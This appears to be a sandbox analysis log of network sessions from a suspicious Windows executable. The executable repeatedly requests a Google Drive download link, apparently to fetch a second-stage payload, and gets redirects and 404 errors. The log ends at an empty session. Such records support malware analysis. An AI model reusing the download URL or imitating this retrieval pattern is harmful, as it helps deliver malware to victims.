0	192.168.11.20	49751	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:01 UTC	216	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-12-05 16:03:01 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:01 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-F6G6bR_yHGxtarlfAUxgCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49752	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:01 UTC	258	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-05 16:03:02 UTC	2222	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:01 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-oNPDdKAk37_6oigAA74vJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC5jf1TaTr9YTTJPToHFfbzYasyfvoHbXluHJrAH5cmUs9ZhDBjVIqFmUuxRHE7rBYv6fwM Server: UploadServer Set-Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF; expires=Fri, 06-Jun-2025 16:03:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:02 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 56 71 34 73 7a 4a 5f 57 62 7a 62 6a 32 6c 59 76 77 4e 4e 76 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FVq4szJ_Wbzbj2lYvwNNvw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49753	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:12 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:12 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:12 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-MUSZ17QPvNwTr9p3pZA4Fg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49754	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:12 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:13 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:13 GMT Content-Security-Policy: script-src 'nonce-Mmoj_ohssKHKHy5i_yN9cg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC7-mo0eyhSx3jVfBzA13XnWUgKAUmJuKurAgPVwfzX6ldUm5jmWvaoqHpiL_Z1eCVCcWy8Q5jjyJw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:13 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 55 79 68 67 64 75 67 71 43 56 54 32 66 41 73 45 4e 73 4c 76 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BUyhgdugqCVT2fAsENsLvA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49755	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:23 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:23 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:23 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-x9yDRAEl3iGWRv7e3DuAcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49756	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:24 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:24 UTC	1847	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:24 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-jfBBg7CqfuES3iRANo0zmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC7esx6BrnvM0LaBVwwcbk3EBnvewExtBtZLxpLHAm4ls9aC1kSK0v3ZZft3WNz-XLUjlbM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:24 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 64 46 5a 66 6a 73 78 6d 4f 58 39 32 4c 64 5f 49 78 4b 44 35 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CdFZfjsxmOX92Ld_IxKD5g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49757	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:34 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:35 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:35 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-tW2Su85Eu-sDSXiNGc_Pqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49758	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:35 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:35 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:35 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-qsoCTM7zQRXihrro6J53yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC6aCsKJrMqKR-SWJ3Ne4FfW9hoxL195L1n3RcGCE9NcXw2I-vwrlnVBKjt96Xm_Tg9cT9WlmQgINg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:35 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 61 4c 72 33 6d 34 64 70 43 6b 75 53 47 53 78 70 5a 36 74 79 4c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aLr3m4dpCkuSGSxpZ6tyLQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49759	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
